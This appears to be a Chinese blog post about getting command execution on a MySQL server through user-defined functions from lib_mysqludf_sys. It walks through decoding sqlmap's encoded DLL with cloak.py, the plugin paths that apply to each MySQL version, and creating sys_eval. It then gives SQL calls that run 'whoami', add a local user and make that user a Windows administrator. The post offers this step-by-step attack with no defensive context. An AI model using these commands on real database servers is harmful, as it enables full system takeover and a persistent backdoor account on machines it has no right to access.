MySQL利用UDF执行命令

雨点打透心脏的1/2处 2022-11-17 11:28 362阅读 0赞

UDF即User-Defined Functions

lib\_mysqludf\_sys 在github的介绍:

A UDF library with functions to interact with the operating system. These functions allow you to interact with the execution environment in which MySQL runs.

lib\_mysqludf\_sys的Github地址：https://github.com/mysqludf/lib\_mysqludf\_sys\#readme

自动化注入工具Sqlmap已经集成了此功能。

在 sqlmap\\udf\\mysql\\windows\\32目录下存放着lib\_mysqludf\_sys.dll\_

（sqlmap\\udf\\mysql\\windows\\64目录下为64位的lib\_mysqludf\_sys.dll\_，但是64位的测试失败）

但是sqlmap 中 自带 的shell 以及一些二进制文件，为了防止被误杀都经过异或方式编码，不能直接使用的。

可以利用sqlmap 自带的解码工具cloak.py  
目录 sqlmap\\extra\\cloak\\cloak.py 对 sqlmap\\udf\\mysql\\windows\\32\\lib\_mysqludf\_sys.dll\_ 解码后，再直接利用

首先进入到 sqlmap\\extra\\cloak\\cloak 目录下，执行命令：

cloak.py -d -i D:\\sqlmap\\udf\\mysql\\windows\\32\\lib\_mysqludf\_sys.dll\_

在 D:\\sqlmap\\udf\\mysql\\windows\\32\\lib\_mysqludf\_sys.dll\_会生成 lib\_mysqludf\_sys.dll

攻击者可以利用lib\_mysqludf\_sys提供的函数执行系统命令。

函数：

sys_eval, 执行任意命令，并将输出返回。
    sys_exec,执行任意命令，并将退出码返回。
    sys_get, 获取一个环境变量。
    sys_set,创建或修改一个环境变量。

目标机以windows为例，MySQL版本为5.6

攻击过程中，首先需要将lib\_mysqludf\_sys(目标为windows时，lib\_mysqludf\_sys.dll; linux时，lib\_mysqludf\_sys.so)上传到数据库能访问的路径下。

然后创建UDF。

lib\_mysqludf\_sys.dll的导出路径：

> MySQL<5.0，导出路径随意；
> 
> 5.0 <= MySQL<5.1，则需要导出至目标服务器的系统目录（如：system32）
> 
> MySQL 5.1以上版本，必须要把udf.dll文件放到MySQL安装目录下的lib\\plugin文件夹下才能创建自定义函数。

创建相应的函数:

create function sys\_eval returns string soname 'udf.dll';

执行命令:

select sys\_eval('whoami');

![20160902173019081][]

select sys\_eval(‘net user fvck fvck /add’);  
select sys\_eval(‘net localgroup administrators fvck /add’);

[20160902173019081]: /images/20221022/6f2bad8f03ed44bfa222017cc6e4eb45.png

MySQL利用UDF执行命令

发表评论取消回复

还没有评论，来说两句吧...

相关阅读

相关 shell 下执行mysql 命令

相关 mysql5udf脱敏

相关 mysql命令怎么执行

相关利用DCOM实现远程命令执行

相关 MySQL利用UDF执行命令

相关 linux mysql 使用函数_linux下mysql system 函数执行命令利用是伪科学

相关 mysql 执行效率命令_mySQL数据库Sql语句执行效率检查--Explain命令

相关利用commands模块执行Linux shell命令

相关 MySQL命令执行脚本文件

相关【WEB】利用PING命令注入执行分析